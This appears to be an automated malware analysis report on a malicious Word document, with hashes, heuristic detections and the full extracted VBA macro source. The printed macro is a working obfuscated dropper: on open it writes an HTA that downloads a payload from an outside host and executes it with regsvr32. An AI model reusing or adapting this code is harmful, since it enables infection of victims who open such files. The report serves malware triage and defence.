Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f7c3bf23da64aa50…

MALICIOUS

Office (OOXML)

76.1 KB Created: 2021-03-24 03:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: c57cb4f23f1dc2deba25520b453552f7 SHA-1: db4c8eb6b4da2af17b0e8a7225635f839b2434af SHA-256: f7c3bf23da64aa50b652e3eed2692cef092411fc435d1209e49e9c35dd930bc5
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set tableDocument = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set tableDocument = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5122 bytes
SHA-256: 0b07539ab2e0a883d72cc4530d34407a604c55d1a6a837c5728af1cee25a73ae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{5E0C8F65-A57B-4F8F-AAE6-8EDA3EADF348}{CCC247AF-EDC5-4D82-BA37-C891E76CE6C1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set tableDocument = CreateObject("wscript.shell")
tableDocument.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "exceptionMainProc"
Sub autoopen()
classLink
End Sub
Sub classLink()
Dim sizeConstDocument As String
sizeConstDocument = frm.cmdButton1.caption
arrayGlobalLib sizeConstDocument
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "viewEx"
Function localVb()
localVb = "<div id='content'>dmFyIHBhc3RlRGF0YUxpc3QgPSBuZXcgQWN0aXZlWE9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTtwYXN0ZURhdGFMaXN0Lm9wZW4oIkdFVCIsICJodHRwOi8vYWxyZWFkeS1iYWxkd2luMTk5OS5jb20vZmR2ZGQvMTQwODQvNXlIMzFzMG1nM0pqcTVlbEJLbC8zNjU2Ny80MTM5NS84MjY5Ny9iemZqZ0hFamlPaEZJWS"
End Function
Function textCopyConst()
textCopyConst = "8xODgyNC9EZWFwaERDbDFMbEo2cWs5ZVoxSENqcFlaSFc0eTFCejNCUkFHakZIL3YwSldsNjU0RTRzRm93ejYyeENkeUlsbS8xNDU1Ny94YXIxP3FienhFZVE9cVB2YU9iJnExVDE9eU5vZHd1UjQ3Jng0M3NHPTYxN3FqeFZMdzBKbDMmc2VhcmNoPUw2NnpaYm45QTQwUCZzaWQ9UUtGYiZzZWFyY2g9cWUwQ295QUFhMzVIbXVTbjQzTERSdD"
End Function
Function structNext()
structNext = "dVUiZ1c2VyPURoNFZpQVImcT11YzhDTjkwaDdzN1BqMzZaSXIwWSZzZWFyY2g9djFXeE42dFF6TUZ0M1N1JktveXVlbUhuR1I9UVdSRkNrT2FUSUlEIiwgZmFsc2UpO3Bhc3RlRGF0YUxpc3Quc2VuZCgpO2lmKHBhc3RlRGF0YUxpc3Quc3RhdHVzID09IDIwMCl7dmFyIGxpc3Rib3hJbmRleFByb2MgPSBuZXcgQWN0aXZlWE9iamVjdCgiYW"
End Function
Function classConstProcedure()
classConstProcedure = "RvZGIuc3RyZWFtIik7bGlzdGJveEluZGV4UHJvYy5vcGVuO2xpc3Rib3hJbmRleFByb2MudHlwZSA9IDE7bGlzdGJveEluZGV4UHJvYy53cml0ZShwYXN0ZURhdGFMaXN0LnJlc3BvbnNlYm9keSk7bGlzdGJveEluZGV4UHJvYy5zYXZldG9maWxlKCJjOlxcdXNlcnNcXHB1YmxpY1xcbWVtQ29uc3RCdXR0b24uanBnIiwgMik7bGlzdGJveE"
End Function
Function ALinkNext()
ALinkNext = "luZGV4UHJvYy5jbG9zZTt9|fXspbmVlcmNTdHNub2MoaGN0YWN9OykiYXRoLm5pYW1cXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmZXRlbGVkLnR4ZU5lc2FiYXRhRHBtZXR7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gdHhlTmVzYWJhdGFEcG1ldCByYXY7KSJncGoubm90dHVCdHNub0NtZ"
End Function
Function AListLink()
AListLink = "W1cXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbg==</div><div id='table'>0123456789+/</div><script language='javascript'>genericClass = window;textIterator = document;function countListProc(queryLocalProc){return"
End Function
Function localReferenceNext()
localReferenceNext = "(new ActiveXObject(queryLocalProc));}function table(){var screenReferenceButton = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var titleSizeDocument = screenReferenceButton + screenReferenceButton.toLowerCase() + textIterator.getElementById('table').innerHTML;return(title"
End Function
Function tmpList()
tmpList = "SizeDocument);}function captionButtonCollection(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var ExDataEx=''; var w=String.fromCharCode; var L=s.length;var textboxFunc = 'charAt';for(i=0;i<64;i++){e[table()[textboxFunc](i)]=i;}for(x=0;x<L;x++"
End Function
Function classSelectData()
classSelectData = "){c=e[s[textboxFunc](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(ExDataEx+=w(a));}}return(ExDataEx);};function requestIndexGeneric(documentTitleCounter){return documentTitleCounter.split('').reverse().join('');}genericClass.resizeT"
End Function
Function ExListTmp()
ExListTmp = "o(1, 1);genericClass.moveTo(-100, -100);var countPtr = textIterator.getElementById('content').innerHTML;var countPtr = countPtr.split('|');var refList = requestIndexGeneric(captionButtonCollection(countPtr[0]));var refList = requestIndexGeneric(refList);va"
End Function
Function convertPtrVb()
convertPtrVb = "r leftClear = requestIndexGeneric(captionButtonCollection(countPtr[1]));</script><script language='javascript'>function leftBufferSize(removeRemoveTitle){var dataValue = countListProc('msscriptcontrol.scriptcontrol');dataValue.Language = 'jscript';dataValu"
End Function
Function lenTitle()
lenTitle = "e.Timeout = 60000;dataValue.AddCode(removeRemoveTitle);return(null);}</script><script language='vbscript'>leftBufferSize refList : leftBufferSize leftClear : genericClass.close</script>"
End Function
Function clearRepo()
clearRepo = localVb + textCopyConst + structNext + classConstProcedure + ALinkNext + AListLink + localReferenceNext + tmpList + classSelectData + ExListTmp + convertPtrVb + lenTitle
End Function

Attribute VB_Name = "listboxPaste"
Sub arrayGlobalLib(responseList As String)
Open responseList For Output As #1
Print #1, clearRepo
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29184 bytes
SHA-256: 5974208e16f9b052ddd60efcc0a28e34461967b11359e7e5111cfac089364f64
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).

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